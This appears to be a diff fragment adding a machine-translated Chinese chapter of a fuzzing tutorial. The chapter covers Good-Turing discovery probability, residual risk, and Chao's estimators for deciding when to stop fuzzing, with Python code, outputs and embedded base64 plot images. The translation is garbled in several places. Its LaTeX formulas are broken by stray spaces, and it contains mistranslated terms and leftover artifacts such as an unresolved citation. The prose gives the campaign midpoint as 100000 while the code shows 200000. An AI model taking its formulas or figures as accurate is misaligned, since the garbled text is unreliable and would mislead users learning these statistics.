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
+)
+
+同样，Good-Turing估算值似乎是*高度准确的*。 实际上，如大幅度波动所示，经验估计量的精度要低得多。 您可以尝试增加重复（重复）的数量，以提高经验估计的准确性，但是，这需要等待更长的时间。
+
+### 发现概率量化残余风险
+
+好的。 您已经拥有了几台功能强大的机器，并用它们对软件系统进行了几个月的模糊测试，而没有发现任何漏洞。 系统容易受到攻击吗？
+
+好吧，谁知道呢？ 我们不能肯定地说。 总会有一些残留风险。 测试不是验证。 也许生成的下一个测试输入揭示了一个漏洞。
+
+假设*残余风险*是下一个测试输入揭示尚未发现的漏洞的概率。 Böhme[未解决的引用：stads。]已经表明，Good-Turing对发现概率的估计也是对最大残留风险的估计。
+
+**证明草图（残留风险）**。 这是一张证明草图，它显示了对任意定义的物种的发现概率的估计值为发现漏洞的概率提供了上限（如果未发现）：假设，对于每个“旧”物种A（此处为执行迹线） ），我们派生出两个“新”种类：属于A的某些输入暴露了一个漏洞，而属于A的其他输入则没有。 我们知道，仅发现了*不暴露漏洞的*物种。 因此，*所有暴露漏洞的*物种和*未暴露漏洞的某些*物种仍未被发现。 因此，发现新物种的可能性为发现（暴露出某种物种的）脆弱性的可能性提供了上限。 **QED** 。
+
+发现概率的估计还可以通过许多其他方式使用。
+
+1.  **发现概率**。 我们可以在模糊测试期间的任何时候估计下一个输入属于先前未见过的物种的概率（在这里，它产生了新的执行轨迹，即执行了一组新的语句）。
+2.  **发现概率**的补充。 我们可以估计模糊器可以生成的（HTG2）所有输入的比例，对于这些输入，我们已经看到了该种类（此处为执行轨迹）。 从某种意义上讲，这使我们可以量化模糊测试活动向完成的进度：如果发现一个新物种的可能性太低，我们也可以终止该活动。
+3.  **发现概率的倒数**。 我们可以预测所需的测试输入数量，从而可以期待发现新物种（此处为执行跟踪）。
+
+## 我们如何知道何时停止模糊测试？
+
+在模糊测试中，我们可以进行一些改进，例如[代码覆盖率](Coverage.html)或[语法覆盖率](GrammarCoverageFuzzer.html)。 假设我们有兴趣涵盖该程序中的所有语句。 已经涵盖的语句的*百分比*量化了我们离完成模糊测试活动有多远。 但是，有时我们只知道生成$ n $模糊输入后发现的物种$ S（n）$的*个数*。 仅当我们知道物种$ S $的*总数量*时，才可以计算百分比$ S（n）/ S $。 即使那样，并非所有物种都是可行的。
+
+### 成功估算器
+
+如果我们不知道*的物种总数，那么至少让*估计*吧：如我们之前所见，物种发现会随着时间的流逝而减慢。 最初，发现了许多新物种。 后来，在发现下一个物种之前，需要产生许多输入。 实际上，只要有足够的时间，模糊测试活动就会接近*渐近线*。 我们可以估计的就是这个渐近线。*
+
+1984年，著名的理论生物统计学家Anne Chao开发了一种估计器$ \ hat S $，用于估计物种的渐近总数$ S $：\ begin {align} \ hat S_ \ text {Chao1} = \ begin {cases} S（n）+ \ frac {f_1 ^ 2} {2f_2} & \ text {if $ f_2 > 0 $} \\ S（n）+ \ frac {f_1（f_1-1 ）} {2} & \ text {otherwise} \ end {cases} \ end {align}
+
+*   其中$ f_1 $和$ f_2 $分别是单例和双例物种的数量（分别被精确地观察了一到两次），以及
+*   其中$ S（n）$是生成$ n $模糊输入后已发现的物种数。
+
+那么，Chao的估计如何执行？ 为了对此进行调查，我们使用模糊器设置生成了试验= 400000模糊输入，该设置允许我们在几秒钟内看到渐近线。 我们测量跟踪覆盖率。 在进入模糊测试活动的中间阶段（试验/ 2 = 100000）之后，我们生成了Chao的渐近物种总数的估计$ \ hat S $。 然后，我们运行广告系列的其余部分，以查看“经验”渐近线。
+
+```py
+trials = 400000
+fuzzer = RandomFuzzer(min_length=2, max_length=4,
+                      char_start=32, char_range=32)
+population = []
+for i in range(trials):
+    population.append(fuzzer.fuzz())
+
+_, trace_ts, f1_ts, f2_ts = population_trace_coverage(population, my_parser)
+
+```
+
+```py
+time = int(trials / 2)
+time
+
+```
+
+```py
+200000
+
+```
+
+```py
+f1 = f1_ts[time]
+f2 = f2_ts[time]
+Sn = trace_ts[time]
+if f2 > 0:
+    hat_S = Sn + f1 * f1 / (2 * f2)
+else:
+    hat_S = Sn + f1 * (f1 - 1) / 2
+
+```
+
+在执行`time`模糊输入（总数的一半）之后，我们介绍了以下许多迹线：
+
+```py
+time
+
+```
+
+```py
+200000
+
+```
+
+```py
+Sn
+
+```
+
+```py
+63
+
+```
+
+我们可以估计总共有很多痕迹：
+
+```py
+hat_S
+
+```
+
+```py
+87.0
+
+```
+
+因此，我们已达到估算的以下百分比：
+
+```py
+100 * Sn / hat_S
+
+```
+
+```py
+72.41379310344827
+
+```
+
+在执行`trials`模糊输入之后，我们涵盖了以下许多迹线：
+
+```py
+trials
+
+```
+
+```py
+400000
+
+```
+
+```py
+trace_ts[trials - 1]
+
+```
+
+```py
+70
+
+```
+
+Chao的估计量的准确性非常合理。 它并不总是准确的-尤其是在[发现可能性](WhenIsEnough.html#Measuring-Trace-Coverage-over-Time)仍然很高的模糊测试活动开始时。 尽管如此，它显示出报告百分比以评估模糊测试运动完成的进度的主要好处。
+
+***试试*** 。 *尝试将`trials`设置为100万，将`time`设置为`int(trials / 4)`。*
+
+### 推断模糊测试成功
+
+假设您已经将模糊器运行了一周，生成了$ n $个模糊输入并发现了$ S（n）$个种类（此处涵盖了$ S（n）$执行痕迹）。 取而代之的是，不要将模糊测试器运行另外一周，而是要*预测*您会发现多少其他物种。 2003年，Anne Chao和她的团队开发了一种推断方法来实现这一目标。 如果生成了更多的$ m ^ * $模糊输入，我们会对发现的物种数量$ S（n + m ^ *）$感兴趣：
+
+\ begin {align} \ hat S（n + m ^ *）= S（n）+ \ hat f_0 \ left [1- \ left（1- \ frac {f_1} {n \ hat f_0 + f_1} \ right） ^ {m ^ *} \ right] \ end {align}
+
+*   其中$ \ hat f_0 = \ hat S-S（n）$是未发现物种的数量$ f_0 $的估计，并且
+*   其中$ f_1 $单例物种的数量，即我们只观察到一次的物种。
+
+单身人士的数量$ f_1 $，我们可以在模糊测试本身中进行跟踪。 对未发现物种的数量$ \ hat f_0 $的估计，我们可以简单地使用Chao的估计$ \ hat S $和观测物种的数量$ S（n）$来推导。
+
+让我们通过比较物种的预测数量和物种的经验数量，来了解Chao的外推器的性能。
+
+```py
+prediction_ts = [None] * time
+f0 = hat_S - Sn
+
+for m in range(trials - time):
+    prediction_ts.append(Sn + f0 * (1 - (1 - f1 / (time * f0 + f1)) ** m))
+
+```
+
+```py
+plt.figure(num=None, figsize=(12, 3), dpi=80, facecolor='w', edgecolor='k')
+plt.subplot(1, 3, 1)
+plt.plot(trace_ts, color='white')
+plt.plot(trace_ts[:time])
+plt.xticks(range(0, trials + 1, int(time)))
+plt.xlabel('# of fuzz inputs')
+plt.ylabel('# of traces exercised')
+
+plt.subplot(1, 3, 2)
+line_cur, = plt.plot(trace_ts[:time], label="Ongoing fuzzing campaign")
+line_pred, = plt.plot(prediction_ts, linestyle='--',
+                      color='black', label="Predicted progress")
+plt.legend(handles=[line_cur, line_pred])
+plt.xticks(range(0, trials + 1, int(time)))
+plt.xlabel('# of fuzz inputs')
+plt.ylabel('# of traces exercised')
+
+plt.subplot(1, 3, 3)
+line_emp, = plt.plot(trace_ts, color='grey', label="Actual progress")
+line_cur, = plt.plot(trace_ts[:time], label="Ongoing fuzzing campaign")
+line_pred, = plt.plot(prediction_ts, linestyle='--',
+                      color='black', label="Predicted progress")
+plt.legend(handles=[line_emp, line_cur, line_pred])
+plt.xticks(range(0, trials + 1, int(time)))
+plt.xlabel('# of fuzz inputs')
+plt.ylabel('# of traces exercised');
+
+```
+
+![](data:image/png;base64,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